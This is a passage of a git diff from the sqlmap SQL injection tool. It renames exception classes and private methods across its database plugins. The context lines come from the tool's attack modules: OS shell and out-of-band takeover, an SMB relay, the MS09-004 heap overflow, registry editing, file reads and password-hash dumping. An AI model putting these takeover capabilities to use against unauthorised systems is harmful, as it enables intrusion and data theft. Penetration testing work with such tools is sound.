sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 794ac25fc..2b952b982 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -9,7 +9,7 @@ import binascii import re from lib.core.common import isDBMSVersionAtLeast -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -42,7 +42,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex+2:].find("'") if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + raise SqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index + 3 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 623fbc3b5..f2593573b 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): @@ -14,18 +14,18 @@ class Takeover(GenericTakeover): def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "on SQLite it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 8fc31d34b..d33c40591 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -16,7 +16,7 @@ import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): @@ -42,7 +42,7 @@ class Connector(GenericConnector): try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except pymssql.OperationalError, msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg self.setCursor() self.connected() @@ -60,7 +60,7 @@ class Connector(GenericConnector): except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) except pymssql.InternalError, msg: - raise sqlmapConnectionException, msg + raise SqlmapConnectionException, msg def select(self, query): self.execute(query) diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index b97c3b126..814cb2fc2 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -17,8 +17,8 @@ from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import SYBASE_TYPES from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration @@ -172,7 +172,7 @@ class Enumeration(GenericEnumeration): if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) @@ -197,7 +197,7 @@ class Enumeration(GenericEnumeration): else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 4db24ac7c..ab8c0e1a3 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): @@ -14,8 +14,8 @@ class Filesystem(GenericFilesystem): def readFile(self, rFile): errMsg = "on Sybase it is not possible to read files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None): errMsg = "on Sybase it is not possible to write files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index 13cabc563..3896e3a74 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import SqlmapSyntaxException from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @@ -24,7 +24,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("'") if index == -1: - raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression) + raise SqlmapSyntaxException("Unenclosed ' in '%s'" % expression) lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] @@ -47,7 +47,7 @@ class Syntax(GenericSyntax): index = expression[firstIndex:].find("))") if index == -1: - raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression) + raise SqlmapSyntaxException("Unenclosed ) in '%s'" % expression) lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 766313140..97322271c 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): @@ -14,18 +14,18 @@ class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Sybase it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "on Sybase it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index d1cd12a6f..df1478b7e 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -9,8 +9,8 @@ import os from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapUndefinedMethod class Connector: """ @@ -59,24 +59,24 @@ class Connector: def checkFileDb(self): if not os.path.exists(self.db): errMsg = "the provided database file '%s' does not exist" % self.db - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg def connect(self): errMsg = "'connect' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def fetchall(self): errMsg = "'fetchall' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def execute(self, query): errMsg = "'execute' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def select(self, query): errMsg = "'select' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b256ec182..e72eeff07 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -32,9 +32,9 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.request import inject from lib.techniques.brute.use import columnExists @@ -166,7 +166,7 @@ class Databases: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg else: kb.data.cachedDbs.sort() @@ -188,7 +188,7 @@ class Databases: elif Backend.isDbms(DBMS.ACCESS): try: tables = self.getTables(False) - except sqlmapNoneDataException: + except SqlmapNoneDataException: tables = None if not tables: @@ -239,7 +239,7 @@ class Databases: if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) @@ -351,7 +351,7 @@ class Databases: logger.error(errMsg) return self.getTables(bruteForce=True) else: - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables @@ -377,7 +377,7 @@ class Databases: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) @@ -415,7 +415,7 @@ class Databases: else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) @@ -466,7 +466,7 @@ class Databases: if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) @@ -708,7 +708,7 @@ class Databases: return kb.data.cachedColumns - def __tableGetCount(self, db, table): + def _tableGetCount(self, db, table): if Backend.isDbms(DBMS.DB2): query = "SELECT %s FROM %s.%s--" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db.upper()), safeSQLIdentificatorNaming(table.upper(), True)) else: @@ -748,12 +748,12 @@ class Databases: if conf.tbl: for table in conf.tbl.split(","): - self.__tableGetCount(conf.db, table) + self._tableGetCount(conf.db, table) else: self.getTables() for db, tables in kb.data.cachedTables.items(): for table in tables: - self.__tableGetCount(db, table) + self._tableGetCount(db, table) return kb.data.cachedCounts diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index d5cbc21da..bfbb0b18f 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -29,10 +29,10 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import NULL @@ -67,7 +67,7 @@ class Entries: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg conf.db = safeSQLIdentificatorNaming(conf.db) @@ -87,7 +87,7 @@ class Entries: else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) @@ -313,7 +313,7 @@ class Entries: attackDumpedTable() conf.dumper.dbTableValues(kb.data.dumpedTable) - except sqlmapConnectionException, e: + except SqlmapConnectionException, e: errMsg = "connection exception detected in dumping phase: " errMsg += "'%s'" % e logger.critical(errMsg) @@ -329,7 +329,7 @@ class Entries: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg infoMsg = "sqlmap will dump entries of all tables from all databases now" logger.info(infoMsg) @@ -353,7 +353,7 @@ class Entries: kb.data.dumpedTable = {} self.dumpTable() - except sqlmapNoneDataException: + except SqlmapNoneDataException: infoMsg = "skipping table '%s'" % table logger.info(infoMsg) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 639099080..d4914e7fd 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -24,7 +24,7 @@ from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import SqlmapUndefinedMethod from lib.request import inject class Filesystem: @@ -36,7 +36,7 @@ class Filesystem: self.fileTblName = "sqlmapfile" self.tblField = "data" - def __unhexString(self, hexStr): + def _unhexString(self, hexStr): if len(hexStr) % 2 != 0: errMsg = "for some reason(s) sqlmap retrieved an odd-length " errMsg += "hexadecimal string which it is not able to convert " @@ -53,7 +53,7 @@ class Filesystem: return cleanStr - def __checkWrittenFile(self, wFile, dFile, fileType): + def _checkWrittenFile(self, wFile, dFile, fileType): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile @@ -157,29 +157,29 @@ class Filesystem: output = readInput(message, default="Y") if not output or output in ("y", "Y"): - return self.__checkWrittenFile(wFile, dFile, fileType) + return self._checkWrittenFile(wFile, dFile, fileType) return True def nonStackedReadFile(self, rFile): errMsg = "'nonStackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def stackedReadFile(self, rFile): errMsg = "'stackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def unionWriteFile(self, wFile, dFile, fileType): errMsg = "'unionWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def stackedWriteFile(self, wFile, dFile, fileType): errMsg = "'stackedWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def readFile(self, rFile): fileContent = None @@ -230,7 +230,7 @@ class Filesystem: fileContent = newFileContent - fileContent = self.__unhexString(fileContent) + fileContent = self._unhexString(fileContent) rFilePath = dataToOutFile(fileContent) if not Backend.isDbms(DBMS.PGSQL): diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 70cbd19b9..4de7110d1 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -9,7 +9,7 @@ from lib.core.common import Backend from lib.core.common import readInput from lib.core.data import logger from lib.core.enums import OS -from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import SqlmapUndefinedMethod class Fingerprint: """ @@ -22,17 +22,17 @@ class Fingerprint: def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def checkDbms(self): errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def checkDbmsOs(self, detailed=False): errMsg = "'checkDbmsOs' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg def forceDbmsEnum(self): pass diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 1abde80e3..9dc88b5b3 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -23,8 +23,8 @@ from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject class Miscellaneous: @@ -79,7 +79,7 @@ class Miscellaneous: first, last = 29, 9 else: - raise sqlmapUnsupportedFeatureException, "unsupported DBMS" + raise SqlmapUnsupportedFeatureException, "unsupported DBMS" query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) @@ -189,6 +189,6 @@ class Miscellaneous: condParam = "='%s'" else: errMsg = "invalid value" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg return choice, condParam diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 8e1fc2523..379cc5ec1 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -25,8 +25,8 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.request import inject from lib.techniques.brute.use import columnExists @@ -148,7 +148,7 @@ class Search: if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException else: regex = "|".join(conf.tbl.split(",")) return tableExists(paths.COMMON_TABLES, regex) @@ -306,7 +306,7 @@ class Search: if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException else: regex = "|".join(conf.col.split(",")) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) @@ -558,4 +558,4 @@ class Search: else: errMsg = "missing parameter, provide -D, -T or -C along " errMsg += "with --search" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 356ca8386..3724b8d62 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -5,7 +5,7 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import SqlmapUndefinedMethod class Syntax: """ @@ -19,10 +19,10 @@ class Syntax: def unescape(expression, quote=True): errMsg = "'unescape' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg @staticmethod def escape(expression): errMsg = "'escape' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 54bd7b884..649cde307 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -16,12 +16,12 @@ from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapMissingDependence -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapMissingPrivileges -from lib.core.exception import sqlmapNotVulnerableException -from lib.core.exception import sqlmapUndefinedMethod -from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapMissingPrivileges +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.exception import SqlmapUndefinedMethod +from lib.core.exception import SqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit @@ -51,7 +51,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): else: errMsg = "unable to execute operating system commands via " errMsg += "the back-end DBMS" - raise sqlmapNotVulnerableException(errMsg) + raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) @@ -74,7 +74,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): errMsg = "unable to prompt for an interactive operating " errMsg += "system shell via the back-end DBMS because " errMsg += "stacked queries SQL injection is not supported" - raise sqlmapNotVulnerableException(errMsg) + raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) @@ -124,7 +124,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" - raise sqlmapMissingPrivileges, errMsg + raise SqlmapMissingPrivileges, errMsg try: from impacket import ImpactDecoder @@ -133,7 +133,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): errMsg = "sqlmap requires 'impacket' third-party library " errMsg += "in order to run icmpsh master. Download from " errMsg += "http://oss.coresecurity.com/projects/impacket.html" - raise sqlmapMissingDependence, errMsg + raise SqlmapMissingDependence, errMsg sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" @@ -232,7 +232,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): else: errMsg = "unable to prompt for an out-of-band session because " errMsg += "stacked queries SQL injection is not supported" - raise sqlmapNotVulnerableException(errMsg) + raise SqlmapNotVulnerableException(errMsg) if tunnel == 1: if not web or (web and self.webBackdoorUrl is not None): @@ -248,14 +248,14 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" - raise sqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" - raise sqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " @@ -300,7 +300,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" - raise sqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " @@ -325,9 +325,9 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): def uncPathRequest(self): errMsg = "'uncPathRequest' method must be defined " errMsg += "into the specific DBMS plugin" - raise sqlmapUndefinedMethod, errMsg + raise SqlmapUndefinedMethod, errMsg - def __regInit(self): + def _regInit(self): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return @@ -336,13 +336,13 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" - raise sqlmapUnsupportedDBMSException(errMsg) + raise SqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath() def regRead(self): - self.__regInit() + self._regInit() if not conf.regKey: default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" @@ -364,7 +364,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): return self.readRegKey(regKey, regVal, True) def regAdd(self): - self.__regInit() + self._regInit() errMsg = "missing mandatory option" @@ -373,7 +373,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): regKey = readInput(msg) if not regKey: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey @@ -382,7 +382,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): regVal = readInput(msg) if not regVal: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal @@ -391,7 +391,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): regData = readInput(msg) if not regData: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regData = conf.regData @@ -412,7 +412,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): self.addRegKey(regKey, regVal, regType, regData) def regDel(self): - self.__regInit() + self._regInit() errMsg = "missing mandatory option" @@ -421,7 +421,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): regKey = readInput(msg) if not regKey: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey @@ -430,7 +430,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): regVal = readInput(msg) if not regVal: - raise sqlmapMissingMandatoryOptionException(errMsg) + raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 3f1d109bb..770754b45 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -35,8 +35,8 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUserQuitException from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords @@ -116,7 +116,7 @@ class Users: if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) @@ -135,7 +135,7 @@ class Users: if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg return kb.data.cachedUsers @@ -296,7 +296,7 @@ class Users: errMsg += "database users (most probably because the session " errMsg += "user has no read privileges over the relevant " errMsg += "system database table)" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) @@ -310,7 +310,7 @@ class Users: if test[0] in ("n", "N"): pass elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException else: attackCachedUsersPasswords() @@ -584,7 +584,7 @@ class Users: if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg return (kb.data.cachedUsersPrivileges, areAdmins) diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index a3c34f53f..790f89cda 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -29,7 +29,7 @@ import sys import urllib import urllib2 -from lib.core.exception import sqlmapDataException +from lib.core.exception import SqlmapDataException class Callable: @@ -59,7 +59,7 @@ class MultipartPostHandler(urllib2.BaseHandler): v_vars.append((key, 